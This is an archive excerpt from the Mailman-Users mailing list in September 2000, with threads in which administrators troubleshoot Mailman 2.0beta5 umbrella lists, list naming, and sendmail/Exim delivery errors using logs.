Precedence: bulk
List-Id:  <notice.hostname.domain.com>

- end of correct modification.

And list's web interface shows this list address as notice at hostname.domain.com.

My configuration is the following.
  * Linux Redhat 6.1
  * Sendmail 8.9.3
  * INN 2.3.0

~mailman/Mailman/Default.py has correct DEFAULT_HOST_NAME value.
This value is "domain.com".
I tried to solve this problem. But I failed. Pease help me.
Thanks.


Best regards,

From R.Barrett at ftel.co.uk  Wed Sep  6 16:16:27 2000
From: R.Barrett at ftel.co.uk (Richard Barrett)
Date: Wed, 6 Sep 2000 15:16:27 +0100
Subject: [Mailman-Users] Umbrella list problem
Message-ID: <v04220801b5dbc99addaa@[172.16.3.104]>

I'm just commissioning Mailman 2.0beta5 and I've got a problem using 
Umbrella lists.

For experimental purposes I've created an list called umbrella whose 
members are two other Mailman lists called test1 and test2.

I've verified that in the General Administrative options for the 
umbrella list the 'Send password reminders to, eg, "-owner" address 
instead of directly to user.' option has 'yes' checked and that the 
value for 'Suffix for use when this list is an umbrella for other 
lists, according to setting of previous "umbrella_list" setting.' 
option is '-owner'

When I send mail to the umbrella list, the list managers of the 
member lists are each required to authorize the posting because the 
'Message has implicit destination'.

Anybody got an idea of what is going on here and what I've done to 
cause the problem?

Thanks.

------------------------------------------------------------------
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Fujitsu Telecommunications Europe Ltd,      tel: (44) 121 717 6337
Solihull Parkway, Birmingham Business Park, B37 7YU, England
"Democracy is two wolves and a lamb voting on what to have for
lunch. Liberty is a well armed lamb contesting the vote."
Benjamin Franklin, 1759
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From lra at insite.com.br  Wed Sep  6 16:37:58 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Wed, 6 Sep 2000 11:37:58 -0300 (EST)
Subject: [Mailman-Users] Umbrella list problem
In-Reply-To: <v04220801b5dbc99addaa@[172.16.3.104]>
Message-ID: <Pine.LNX.4.21.0009061125280.3947-100000@fantomas.insite.com.br>

On Wed, 6 Sep 2000, Richard Barrett wrote:

> I'm just commissioning Mailman 2.0beta5 and I've got a problem using 
> Umbrella lists.
> 
> For experimental purposes I've created an list called umbrella whose 
> members are two other Mailman lists called test1 and test2.
> 
> I've verified that in the General Administrative options for the 
> umbrella list the 'Send password reminders to, eg, "-owner" address 
> instead of directly to user.' option has 'yes' checked and that the 
> value for 'Suffix for use when this list is an umbrella for other 
> lists, according to setting of previous "umbrella_list" setting.' 
> option is '-owner'
> 
> When I send mail to the umbrella list, the list managers of the 
> member lists are each required to authorize the posting because the 
> 'Message has implicit destination'.
> 
> Anybody got an idea of what is going on here and what I've done to 
> cause the problem?

The umbrella list seems configured ok, but the two sublists must be
configured to accept mail targeted at the umbrella. two options here,
both involving settins inside "Privacy Options", under "Spam-specific
posting filters":

* set "Must posts have list named in destination (to, cc) field?" to "no"
(not recommended because it will open a huge spam window).

* or under "Spam-specific posting filters", add the umbrella address as
"Alias names (regexps) which qualify as explicit to or cc destination
names for this list."

either one of those should work.

Regards, Leo




From jarrell at vt.edu  Wed Sep  6 16:55:57 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Wed, 06 Sep 2000 10:55:57 -0400
Subject: [Mailman-Users] Mailman b5 lockup
In-Reply-To: <p04320406b5db5683ebdc@[209.239.169.197]>
References: <6864.968205422@nuron.com>
 <4.3.2.7.2.20000905032558.00d70dc0@vtserf.cc.vt.edu>
 <p0432040cb5da5470c9d5@[209.239.169.197]>
 <6864.968205422@nuron.com>
Message-ID: <4.3.2.7.2.20000906105520.030b82d0@vtserf.cc.vt.edu>

At 07:05 PM 9/5/00 -0700, Chuq Von Rospach wrote:
>At 6:57 PM -0700 9/5/00, J C Lawrence wrote:
>>On Tue, 5 Sep 2000 00:44:23 -0700
>>Chuq Von Rospach <chuqui at plaidworks.com> wrote:
>>
>>> That address is in Hungary, which is notorious for slow DNS.
>>
>>I've found it makes a whole lot of sense to run a cacheing name
>>server on
>
>
>I do that. It's a HUGE win. And running it on your machine wins greatly over running it near your machine, since you cut all of the DNS<->MTA network overhead. Of course, you have to have memory to run it, but RAM is cheap and it's a great performance enhancer.
>
>Just don't reboot the machine any more often than you need to... (grin)

Yea, I do that too.  Although I'm actually running bind.  I'll have to take a look at 
dnscache.
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From kwythers at forestry.umn.edu  Wed Sep  6 17:08:59 2000
From: kwythers at forestry.umn.edu (Kirk R. Wythers)
Date: Wed, 06 Sep 2000 10:08:59 -0500
Subject: [Mailman-Users] test list problems
Message-ID: <39B65E0B.8686B66B@forestry.umn.edu>

I managed to get mailman installed. Thanks to everyone. Now I'm trying
out a test list (I'm set up as "person running the list"), and I get the
back the error:

   ----- Transcript of session follows -----
Mailman error: post got bad listname: evolistmn
554 "|/home/mailman/mail/wrapper post evolistmn"... unknown mailer error

Bellow is output from my /var/log/maillog. I don't see any reference to
invalid gid (as suggested in the troubleshooting section of the INSTALL
file). Any ideas as to where my problems lay? I am also concerned with
the message "Mailbox vulnerable", does this mean simply that the
permissions are not set properly on /var/spool/mail?

Thanks,

Kirk


Sep  6 09:37:18 lorax sendmail[6326]: JAA06326:
from=<evolistmn-admin at lorax.forestry.umn.edu>, size=1721, class=-60,
pri=139721, nrcpts=1,
msgid=<200009061437.JAA06326 at lorax.x74-47.forestry.umn.edu>,
proto=ESMTP, relay=IDENT:mailman at localhost [127.0.0.1]
Sep  6 09:37:18 lorax sendmail[6327]: JAA06326:
to=<kwythers at lorax.forestry.umn.edu>, delay=00:00:00, xdelay=00:00:00,
mailer=local, stat=Sent
Sep  6 09:38:22 lorax ipop3d[6333]: port 110 service init from
128.101.74.47
Sep  6 09:38:22 lorax ipop3d[6333]: Mailbox vulnerable - directory
/var/spool/mail must have 1777 protection
Sep  6 09:38:23 lorax ipop3d[6333]: Auth user=kwythers
host=lorax.forestry.umn.edu [128.101.74.47] nmsgs=149/149
Sep  6 09:38:23 lorax ipop3d[6333]: Mailbox vulnerable - directory
/var/spool/mail must have 1777 protection
Sep  6 09:38:24 lorax ipop3d[6333]: Logout user=kwythers
host=lorax.forestry.umn.edu [128.101.74.47] nmsgs=149 ndele=0
Sep  6 09:40:22 lorax ipop3d[6347]: port 110 service init from
128.101.74.47
Sep  6 09:40:22 lorax ipop3d[6347]: Mailbox vulnerable - directory
/var/spool/mail must have 1777 protection
Sep  6 09:40:23 lorax ipop3d[6347]: Auth user=kwythers
host=lorax.forestry.umn.edu [128.101.74.47] nmsgs=149/149
Sep  6 09:40:23 lorax ipop3d[6347]: Mailbox vulnerable - directory
/var/spool/mail must have 1777 protection
Sep  6 09:40:24 lorax ipop3d[6347]: Logout user=kwythers
host=lorax.forestry.umn.edu [128.101.74.47] nmsgs=149 ndele=0
Sep  6 09:42:22 lorax ipop3d[6353]: port 110 service init from
128.101.74.47
Sep  6 09:42:22 lorax ipop3d[6353]: Mailbox vulnerable - directory
/var/spool/mail must have 1777 protection
Sep  6 09:42:23 lorax ipop3d[6353]: Auth user=kwythers
host=lorax.forestry.umn.edu [128.101.74.47] nmsgs=149/149
Sep  6 09:42:23 lorax ipop3d[6353]: Mailbox vulnerable - directory
/var/spool/mail must have 1777 protection
Sep  6 09:42:24 lorax ipop3d[6353]: Logout user=kwythers
host=lorax.forestry.umn.edu [128.101.74.47] nmsgs=149 ndele=0
Sep  6 09:42:55 lorax sendmail[6354]: alias database /etc/aliases
autorebuilt by root
Sep  6 09:42:55 lorax sendmail[6354]: /etc/aliases: 22 aliases, longest
49 bytes, 446 bytes total
Sep  6 09:42:55 lorax sendmail[6355]: JAA06355:
from=<kwythers at forestry.umn.edu>, size=1164, class=0, pri=31164,
nrcpts=1, msgid=<39B6576A.55A6EDAF at forestry.umn.edu>, proto=ESMTP,
relay=IDENT:0 at mhub1.tc.umn.edu [160.94.5.41]
Sep  6 09:42:56 lorax sendmail[6356]: JAA06355:
to="|/home/mailman/mail/wrapper post evolistmn", delay=00:00:01,
xdelay=00:00:01, mailer=prog, stat=unknown mailer error 1
Sep  6 09:42:56 lorax sendmail[6356]: JAA06355: JAA06356: DSN: unknown
mailer error 1
Sep  6 09:42:56 lorax sendmail[6356]: JAA06356:
to=<kwythers at forestry.umn.edu>, delay=00:00:00, xdelay=00:00:00,
mailer=esmtp, relay=mercury.forestry.umn.edu. [128.101.70.40], stat=Sent
(JAA04234 Message accepted for delivery)
Sep  6 09:42:58 lorax sendmail[6359]: JAA06359:
from=<MAILER-DAEMON at mhub3.tc.umn.edu>, size=3554, class=0, pri=33554,
nrcpts=1, msgid=<200009061442.JAA06356 at lorax.x74-47.forestry.umn.edu>,
proto=ESMTP, relay=IDENT:0 at mhub3.tc.umn.edu [128.101.131.43]
Sep  6 09:42:59 lorax sendmail[6360]: JAA06359:
to=<kwythers at x74-47.forestry.umn.edu>, delay=00:00:01, xdelay=00:00:01,
mailer=local, stat=Sent
Sep  6 09:44:22 lorax ipop3d[6366]: port 110 service init from
128.101.74.47
Sep  6 09:44:22 lorax ipop3d[6366]: Mailbox vulnerable - directory
/var/spool/mail must have 1777 protection
Sep  6 09:44:23 lorax ipop3d[6366]: Auth user=kwythers
host=lorax.forestry.umn.edu [128.101.74.47] nmsgs=150/150
Sep  6 09:44:23 lorax ipop3d[6366]: Mailbox vulnerable - directory
/var/spool/mail must have 1777 protection
Sep  6 09:44:24 lorax ipop3d[6366]: Logout user=kwythers
host=lorax.forestry.umn.edu [128.101.74.47] nmsgs=150 ndele=0
Sep  6 09:46:22 lorax ipop3d[6376]: port 110 service init from
128.101.74.47
Sep  6 09:46:22 lorax ipop3d[6376]: Mailbox vulnerable - directory
/var/spool/mail must have 1777 protection
Sep  6 09:46:23 lorax ipop3d[6376]: Auth user=kwythers
host=lorax.forestry.umn.edu [128.101.74.47] nmsgs=150/150
Sep  6 09:46:23 lorax ipop3d[6376]: Mailbox vulnerable - directory
/var/spool/mail must have 1777 protection
Sep  6 09:46:24 lorax ipop3d[6376]: Logout user=kwythers
host=lorax.forestry.umn.edu [128.101.74.47] nmsgs=150 ndele=0

--
Kirk R. Wythers                                  University of Minnesota
Email: kwythers at forestry.umn.edu                 Department of Forest Resources
Tel: 612.625.22611530                            Cleveland Ave. N.
Fax: 612 625.5212                                Saint Paul,  MN 55108






From jarrell at vt.edu  Wed Sep  6 17:05:51 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Wed, 06 Sep 2000 11:05:51 -0400
Subject: [Mailman-Users] Umbrella list problem
In-Reply-To: <v04220801b5dbc99addaa@[172.16.3.104]>
Message-ID: <4.3.2.7.2.20000906110434.031e8820@vtserf.cc.vt.edu>

At 03:16 PM 9/6/00 +0100, you wrote:
>I'm just commissioning Mailman 2.0beta5 and I've got a problem using Umbrella lists.
>
>For experimental purposes I've created an list called umbrella whose members are two other Mailman lists called test1 and test2.
>
>I've verified that in the General Administrative options for the umbrella list the 'Send password reminders to, eg, "-owner" address instead of directly to user.' option has 'yes' checked and that the value for 'Suffix for use when this list is an umbrella for other lists, according to setting of previous "umbrella_list" setting.' option is '-owner'
>
>When I send mail to the umbrella list, the list managers of the member lists are each required to authorize the posting because the 'Message has implicit destination'.

Correct.  Because they're set so that mail that doesn't have their address in the header is held.

Either change the member lists to allow implicit destinations, or add the name of the umbrella list as a 
valid address that qualifies as not being implicit.
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From GLeblanc at cu-portland.edu  Wed Sep  6 19:24:55 2000
From: GLeblanc at cu-portland.edu (Gregory Leblanc)
Date: Wed, 6 Sep 2000 10:24:55 -0700 
Subject: [Mailman-Users] list_members?
Message-ID: <025836EFF856D411A6660090272811E61D06D9@EMAIL>

I just went to see if there was anybody on the lists on my server (it's just
gone into production with 2.0beta5 recently), and I'm a bit confused.  I ran
list_lists, to see the lists, and then ran list_members.  Here's what I got:

[root at list bin]# ./list_lists 
3 matching mailing lists found:
    Eng223 - British Literature II
    Eng315 - The World Novel
      Greg - [no description available]
[root at list bin]# ./list_members Eng223
No such list "Eng223"

[root at list bin]# 

Huh?  Does it do that because there are no members for the list, or what?
Thanks for any help,
	Greg



From jarrell at vt.edu  Wed Sep  6 19:40:08 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Wed, 06 Sep 2000 13:40:08 -0400
Subject: [Mailman-Users] list_members?
In-Reply-To: <025836EFF856D411A6660090272811E61D06D9@EMAIL>
Message-ID: <4.3.2.7.2.20000906133817.00eb5810@vtserf.cc.vt.edu>

At 10:24 AM 9/6/00 -0700, Gregory Leblanc wrote:
>I just went to see if there was anybody on the lists on my server (it's just
>gone into production with 2.0beta5 recently), and I'm a bit confused.  I ran
>list_lists, to see the lists, and then ran list_members.  Here's what I got:
>
>[root at list bin]# ./list_lists 
>3 matching mailing lists found:
>    Eng223 - British Literature II
>    Eng315 - The World Novel
>      Greg - [no description available]
>[root at list bin]# ./list_members Eng223
>No such list "Eng223"
>
>[root at list bin]# 
>
>Huh?  Does it do that because there are no members for the list, or what?

No, it's a user interface issue.  list_lists is displaying the published name of the list;
Eng223's internal list name is eng223; Eng223 is just the "pretty" name, which can be
set on the admin page.

list_members, however, expects the internal name of the list.  There is no "Eng223" directory
with a marshalled database.  However, if you'd done a list_members eng223, you'd either get
a list of subscribers, or just a blank line showing there were none.
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From GLeblanc at cu-portland.edu  Wed Sep  6 20:11:20 2000
From: GLeblanc at cu-portland.edu (Gregory Leblanc)
Date: Wed, 6 Sep 2000 11:11:20 -0700 
Subject: [Mailman-Users] list_members?
Message-ID: <025836EFF856D411A6660090272811E61D06DB@EMAIL>

> -----Original Message-----
> From: Ron Jarrell [mailto:jarrell at vt.edu]
> 
> At 10:24 AM 9/6/00 -0700, Gregory Leblanc wrote:
> 
> > I just went to see if there was anybody on the lists on my 
> > server (it's just
> > gone into production with 2.0beta5 recently), and I'm a bit 
> > confused.  I ran
> > list_lists, to see the lists, and then ran list_members.  
> > Here's what I got:
> > 
> > [root at list bin]# ./list_lists 
> > 3 matching mailing lists found:
> >     Eng223 - British Literature II
> >     Eng315 - The World Novel
> >       Greg - [no description available]
> > [root at list bin]# ./list_members Eng223
> > No such list "Eng223"
> > 
> > [root at list bin]# 
> > 
> > Huh?  Does it do that because there are no members for the 
> > list, or what?
>  
> No, it's a user interface issue.  list_lists is displaying 
> the published name of the list;
> Eng223's internal list name is eng223; Eng223 is just the 
> "pretty" name, which can be
> set on the admin page.
> 
> list_members, however, expects the internal name of the list. 
>  There is no "Eng223" directory
> with a marshalled database.  However, if you'd done a 
> list_members eng223, you'd either get
> a list of subscribers, or just a blank line showing there were none.

Would it be logical to add a switch to list_lists that would give some
useful information, rather than the pretty information that it gives now?
Or would it be better to hack list_members so that it's smart enough to
understand the list names that list_lists spits out?  Later,
	Greg



From jarrell at vt.edu  Wed Sep  6 20:50:42 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Wed, 06 Sep 2000 14:50:42 -0400
Subject: [Mailman-Users] list_members?
In-Reply-To: <025836EFF856D411A6660090272811E61D06DB@EMAIL>
Message-ID: <4.3.2.7.2.20000906145018.030b5400@vtserf.cc.vt.edu>

At 11:11 AM 9/6/00 -0700, Gregory Leblanc wrote:
>Would it be logical to add a switch to list_lists that would give some
>useful information, rather than the pretty information that it gives now?
>Or would it be better to hack list_members so that it's smart enough to
>understand the list names that list_lists spits out?  Later,

Yes. :-)
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From marc_news at valinux.com  Wed Sep  6 21:51:44 2000
From: marc_news at valinux.com (Marc MERLIN)
Date: Wed, 6 Sep 2000 12:51:44 -0700
Subject: [Mailman-Users] list_members?
In-Reply-To: <4.3.2.7.2.20000906145018.030b5400@vtserf.cc.vt.edu>; from jarrell@vt.edu on Wed, Sep 06, 2000 at 02:50:42PM -0400
References: <025836EFF856D411A6660090272811E61D06DB@EMAIL> <4.3.2.7.2.20000906145018.030b5400@vtserf.cc.vt.edu>
Message-ID: <20000906125144.B12307@marc.merlins.org>

On Wed, Sep 06, 2000 at 02:50:42PM -0400, Ron Jarrell wrote:
> At 11:11 AM 9/6/00 -0700, Gregory Leblanc wrote:
> >Would it be logical to add a switch to list_lists that would give some
> >useful information, rather than the pretty information that it gives now?
> >Or would it be better to hack list_members so that it's smart enough to
> >understand the list names that list_lists spits out?  Later,
> 
> Yes. :-)

Note that before list_lists even came out, I was doing
cd ~mailman/lists
for i in *
do
      foo $i
done


Well, I still do and it works just fine :-)

Marc
-- 
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Finger marc_f at merlins.org for PGP key and other contact information



From jarrell at vt.edu  Wed Sep  6 22:57:49 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Wed, 06 Sep 2000 16:57:49 -0400
Subject: [Mailman-Users] list_members?
In-Reply-To: <025836EFF856D411A6660090272811E61D06DB@EMAIL>
Message-ID: <4.3.2.7.2.20000906165530.039f6770@vtserf.cc.vt.edu>

At 11:11 AM 9/6/00 -0700, Gregory Leblanc wrote:
>> > Here's what I got:
>> > 
>> > [root at list bin]# ./list_lists 
>> > 3 matching mailing lists found:
>> >     Eng223 - British Literature II
>> >     Eng315 - The World Novel
>> >       Greg - [no description available]
>> > [root at list bin]# ./list_members Eng223
>> > No such list "Eng223"
>> > 
>> > [root at list bin]# 
>> > 
>> > Huh?  Does it do that because there are no members for the 
>> > list, or what?
>>  
>> No, it's a user interface issue.  list_lists is displaying 
>> the published name of the list;
>> Eng223's internal list name is eng223; Eng223 is just the 
>> "pretty" name, which can be
>> set on the admin page.
>> 
>> list_members, however, expects the internal name of the list. 
>>  There is no "Eng223" directory
>> with a marshalled database.  However, if you'd done a 
>> list_members eng223, you'd either get
>> a list of subscribers, or just a blank line showing there were none.
>
>Would it be logical to add a switch to list_lists that would give some
>useful information, rather than the pretty information that it gives now?
>Or would it be better to hack list_members so that it's smart enough to
>understand the list names that list_lists spits out?  Later,

Ok, I built a patch for list_members to accept u/l case listnames (all of 2 lines.
It'd have been 1 line, but we weren't using the string library yet!), and filed
a bug report against it.  Dunno if Barry will pick it up for 2.0 final (or beta 6,
if he thinks we need one.)  It's pretty minor, and I think we're in the 
"it better be bleeding" stage of the betas, since the only reason 2.0 isn't
out yet is python 2.0 is sucking up all his time.

If you want it, it's 101434 on sourceforge.  The bug report is 113742.
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From lra at insite.com.br  Wed Sep  6 23:29:51 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Wed, 6 Sep 2000 18:29:51 -0300 (EST)
Subject: [Mailman-Users] list_members?
In-Reply-To: <4.3.2.7.2.20000906165530.039f6770@vtserf.cc.vt.edu>
Message-ID: <Pine.LNX.4.21.0009061827370.16579-100000@fantomas.insite.com.br>

On Wed, 6 Sep 2000, Ron Jarrell wrote:

> Ok, I built a patch for list_members to accept u/l case listnames (all
> of 2 lines. It'd have been 1 line, but we weren't using the string
> library yet!), and filed a bug report against it.  Dunno if Barry will
> pick it up for 2.0 final (or beta 6, if he thinks we need one.)  It's
> pretty minor, and I think we're in the "it better be bleeding" stage
> of the betas, since the only reason 2.0 isn't out yet is python 2.0 is
> sucking up all his time.

It could've been 1 line if mailman required python 1.6 or greater, so that
it could use string methods. :-/




From marouni at earlham.edu  Wed Sep  6 23:54:19 2000
From: marouni at earlham.edu (Nicholas Marouf)
Date: Wed, 06 Sep 2000 16:54:19 -0500
Subject: [Mailman-Users] Big problem with lists
Message-ID: <39B6BD0B.173EA99B@earlham.edu>

Hi all,

	I've noticed this problem, and hopefully our users won't before I can
get it fixed. Apprently if I send an email to more that one list, it
only goes to the first list that it finds in the aliases file and
ignores the second list(s).

has anyone run into this problem, or have any advice on how to get
around it?

thanks in advance.

Nick

-- 
Nicholas Marouf || Earlham College || Assistant System Administrator.
Tel-office: 765-983-1801 
:wq



From jarrell at vt.edu  Wed Sep  6 23:54:43 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Wed, 06 Sep 2000 17:54:43 -0400
Subject: [Mailman-Users] Big problem with lists
In-Reply-To: <39B6BD0B.173EA99B@earlham.edu>
Message-ID: <4.3.2.7.2.20000906175345.00eb4100@vtserf.cc.vt.edu>

At 04:54 PM 9/6/00 -0500, Nicholas Marouf wrote:
>Hi all,
>
>        I've noticed this problem, and hopefully our users won't before I can
>get it fixed. Apprently if I send an email to more that one list, it
>only goes to the first list that it finds in the aliases file and
>ignores the second list(s).
>
>has anyone run into this problem, or have any advice on how to get
>around it?

What kind of MTA are you using?  With our sendmail set up, I've got
users who do this *all the time* (I get really tired of seeing the same
message 4 times spread across each list).  Works fine...
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From marouni at earlham.edu  Thu Sep  7 00:04:52 2000
From: marouni at earlham.edu (Nicholas Marouf)
Date: Wed, 06 Sep 2000 17:04:52 -0500
Subject: [Mailman-Users] Big problem with lists
References: <4.3.2.7.2.20000906175345.00eb4100@vtserf.cc.vt.edu>
Message-ID: <39B6BF84.AFCAE3AA@earlham.edu>

Ron Jarrell wrote:
> 
> At 04:54 PM 9/6/00 -0500, Nicholas Marouf wrote:
> 
> > Hi all,
> >
> >         I've noticed this problem, and hopefully our users won't
> > before I can
> > get it fixed. Apprently if I send an email to more that one list, it
> > only goes to the first list that it finds in the aliases file and
> > ignores the second list(s).
> >
> > has anyone run into this problem, or have any advice on how to get
> > around it?
> 
> What kind of MTA are you using?  With our sendmail set up, I've got
> users who do this *all the time* (I get really tired of seeing the
> same
> message 4 times spread across each list).  Works fine...

Hi,
	I am running sendmail-8.9.3-20, on RH6.2.
I tested this by creating two lists, one that I am in, and the other my
co-worker, I send it to both of them, and witch ever list is first in
the To: gets the message and not the other.

so you are saying that is a sendmail issue. Where would I change that so
that it sends to all the lists.


Nick



From jo_torres at yahoo.com  Thu Sep  7 00:10:44 2000
From: jo_torres at yahoo.com (Jose Torres)
Date: Wed, 6 Sep 2000 15:10:44 -0700 (PDT)
Subject: [Mailman-Users] ImportError: No module named sha
Message-ID: <20000906221044.15083.qmail@web2005.mail.yahoo.com>

Hello,

I'm getting these errors when I tryed to install
mailman-2.0beta5 on a Red Hat Linux release 6.0 Kernel
2.2.5-15 machine.  

Note the errors are during the : "make install" part.

configure pass and make also pass.

any clue someone? 

-------
Compiling /home/mailman/Mailman/pythonlib/tempfile.py
...
Compiling /home/mailman/Mailman/versions.py ...
Traceback (innermost last):
  File "bin/update", line 30, in ?
    from Mailman import MailList
  File "/home/mailman/Mailman/MailList.py", line 39,
in ?
    from Mailman.ListAdmin import ListAdmin
  File "/home/mailman/Mailman/ListAdmin.py", line 33,
in ?
    from Mailman import Message
  File "/home/mailman/Mailman/Message.py", line 30, in
?
    import sha
ImportError: No module named sha
----

Thanks for any help! :)

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From dgc at uchicago.edu  Thu Sep  7 02:10:43 2000
From: dgc at uchicago.edu (David Champion)
Date: Wed, 6 Sep 2000 19:10:43 -0500
Subject: [Mailman-Users] Sending delay in 2.0b5
Message-ID: <20000906191043.L17203@smack.uchicago.edu>

Is it normal for incoming mail to be delayed by several minutes before
being processed and resent, or is this just my installation?  This is
different behavior from my 1.0- installation.

If it's normal, can it be accelerated?

It seems like this has come up before, but I can't find it in the list
archives (using the ultraseek).

-- 
 -D.	dgc at uchicago.edu	NSIT	University of Chicago



From sam at mytrini.com  Thu Sep  7 07:30:14 2000
From: sam at mytrini.com (Derry Goberdhansingh)
Date: Thu, 7 Sep 2000 01:30:14 -0400
Subject: [Mailman-Users] Exim and beta5
Message-ID: <00f301c0188c$b4d945c0$0201a8c0@mytrini.com>

Well I installed Mailman on my debian box, which is running Exim with a mail
GID of 8 <-- mail user and group.
 I did a ./configure --with-mail-gid=8 and installed everything, I created a
test list and added the aliases to the /etc/aliases file. I sent a message
to the test list, that's where the problem comes in.... I don't get any mail
from it. I've got two other accounts, seperate from the admin and I tried
sending mail from both of them, but I still get a message from the list.

Can someone please tell me what I'm possibly doing wrong? I did a cat
/etc/group and /etc/passwd to find out the mail GID, which turned out to be
8, with a UID of mail. I do have  FQDN so that's not the problem, I just
copied the aliases directly from what the newlist command gave me. So that's
correct.

Please help if you can.


=====================
I want to die in my sleep like my grandfather.. Not screaming and crying
like the passengers in his car.
=====================




From bug at aphid.net  Thu Sep  7 07:32:42 2000
From: bug at aphid.net (Chuck Dale)
Date: Thu, 7 Sep 2000 16:32:42 +1100
Subject: [Mailman-Users] Exim and beta5
In-Reply-To: <00f301c0188c$b4d945c0$0201a8c0@mytrini.com>; from sam@mytrini.com on Thu, Sep 07, 2000 at 01:30:14AM -0400
References: <00f301c0188c$b4d945c0$0201a8c0@mytrini.com>
Message-ID: <20000907163242.F10216@aphid.net>

Please post some logs (perhaps mailman/logs/error|post,
/var/log/mail.err|log).

Are the corn jobs installed?

Chuck

Wrote Derry Goberdhansingh on Thu, Sep 07, 2000 at 01:30:14AM -0400:
> Well I installed Mailman on my debian box, which is running Exim with a mail
> GID of 8 <-- mail user and group.
>  I did a ./configure --with-mail-gid=8 and installed everything, I created a
> test list and added the aliases to the /etc/aliases file. I sent a message
> to the test list, that's where the problem comes in.... I don't get any mail
> from it. I've got two other accounts, seperate from the admin and I tried
> sending mail from both of them, but I still get a message from the list.
> 
> Can someone please tell me what I'm possibly doing wrong? I did a cat
> /etc/group and /etc/passwd to find out the mail GID, which turned out to be
> 8, with a UID of mail. I do have  FQDN so that's not the problem, I just
> copied the aliases directly from what the newlist command gave me. So that's
> correct.
> 
> Please help if you can.
> 
> 
> =====================
> I want to die in my sleep like my grandfather.. Not screaming and crying
> like the passengers in his car.
> =====================
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users

               [ charles hamilton dale <bug at aphid.net> ]



From sam at mytrini.com  Thu Sep  7 08:03:49 2000
From: sam at mytrini.com (Derry Goberdhansingh)
Date: Thu, 7 Sep 2000 02:03:49 -0400
Subject: [Mailman-Users] Exim and beta5
References: <00f301c0188c$b4d945c0$0201a8c0@mytrini.com> <20000907163242.F10216@aphid.net>
Message-ID: <010a01c01891$660cbfd0$0201a8c0@mytrini.com>

Here is an output of mesages from /var/log/exim/paniclog

2000-09-06 20:05:05 13Wq7l-0006VD-00 Neither the system_aliases director nor
the address_pipe transport set a uid for local
 delivery of |/home/mailman/mail/wrapper mailowner test
2000-09-06 20:06:03 13Wq8h-0006Vh-00 Neither the system_aliases director nor
the address_pipe transport set a uid for local
 delivery of |/home/mailman/mail/wrapper mailowner test
2000-09-06 20:06:05 13Wq8j-0006Vk-00 Neither the system_aliases director nor
the address_pipe transport set a uid for local
 delivery of |/home/mailman/mail/wrapper post test

Here is the some messages from /var/log/exim/mainlog


2000-09-06 20:05:14 13Wq7u-0006VS-00 <= test-admin at mytrini.com H=localhost
(magi.mytrini.com) [127.0.0.1] U=www-data P=esmt
p S=620
2000-09-06 20:05:14 13Wq7u-0006VS-00 => sam <sam at mytrini.com> D=localuser
T=local_delivery
2000-09-06 20:05:14 13Wq7u-0006VS-00 Completed
2000-09-06 20:05:14 13Wq7u-0006VW-00 <= test-admin at mytrini.com H=localhost
(magi.mytrini.com) [127.0.0.1] U=www-data P=esmt
p S=1739
2000-09-06 20:05:14 13Wq7u-0006VZ-00 <= test-admin at mytrini.com H=localhost
(magi.mytrini.com) [127.0.0.1] U=www-data P=esmt
p S=626
2000-09-06 20:05:15 13Wq7u-0006VZ-00 => sam <sam at mytrini.com> D=localuser
T=local_delivery
2000-09-06 20:05:15 13Wq7u-0006VZ-00 Completed
2000-09-06 20:05:17 13Wq7u-0006VW-00 => dgoberdh at speakeasy.org R=lookuphost
T=remote_smtp H=gonzo.speakeasy.net [216.254.0.
5]
2000-09-06 20:05:17 13Wq7u-0006VW-00 Completed
2000-09-06 20:05:48 13Wq7t-0006VP-00 => dgoberdh at gmu.edu R=lookuphost
T=remote_smtp H=portal.gmu.edu [129.174.1.8]
2000-09-06 20:05:48 13Wq7t-0006VP-00 Completed
2000-09-06 20:06:03 13Wq8h-0006Vh-00 <= test-admin at mytrini.com H=localhost
(magi.mytrini.com) [127.0.0.1] U=mailman P=esmtp
 S=834
2000-09-06 20:06:03 13Wq8h-0006Vh-00 Neither the system_aliases director nor
the address_pipe transport set a uid for local
 delivery of |/home/mailman/mail/wrapper mailowner test
2000-09-06 20:06:05 13Wq8j-0006Vk-00 <= dgoberdh at speakeasy.org
H=lolita.speakeasy.net [216.254.0.13] P=smtp S=2084 id=00e70
1c0188b$247dd140$0201a8c0 at mytrini.com
2000-09-06 20:06:05 13Wq8j-0006Vk-00 Neither the system_aliases director nor
the address_pipe transport set a uid for local
 delivery of |/home/mailman/mail/wrapper post test


Yes I did install the cron jobs. Hope this will help a bit.

=====================
As far as we know, our computer has never had an undetected error.
=====================

----- Original Message -----
From: "Chuck Dale" <bug at aphid.net>
To: <mailman-users at python.org>
Sent: Thursday, September 07, 2000 1:32 AM
Subject: Re: [Mailman-Users] Exim and beta5


> Please post some logs (perhaps mailman/logs/error|post,
> /var/log/mail.err|log).
>
> Are the corn jobs installed?
>
> Chuck
>
> Wrote Derry Goberdhansingh on Thu, Sep 07, 2000 at 01:30:14AM -0400:
> > Well I installed Mailman on my debian box, which is running Exim with a
mail
> > GID of 8 <-- mail user and group.
> >  I did a ./configure --with-mail-gid=8 and installed everything, I
created a
> > test list and added the aliases to the /etc/aliases file. I sent a
message
> > to the test list, that's where the problem comes in.... I don't get any
mail
> > from it. I've got two other accounts, seperate from the admin and I
tried
> > sending mail from both of them, but I still get a message from the list.
> >
> > Can someone please tell me what I'm possibly doing wrong? I did a cat
> > /etc/group and /etc/passwd to find out the mail GID, which turned out to
be
> > 8, with a UID of mail. I do have  FQDN so that's not the problem, I just
> > copied the aliases directly from what the newlist command gave me. So
that's
> > correct.
> >
> > Please help if you can.
> >
> >
> > =====================
> > I want to die in my sleep like my grandfather.. Not screaming and crying
> > like the passengers in his car.
> > =====================
> >
> >
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
>
>                [ charles hamilton dale <bug at aphid.net> ]
>
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
>




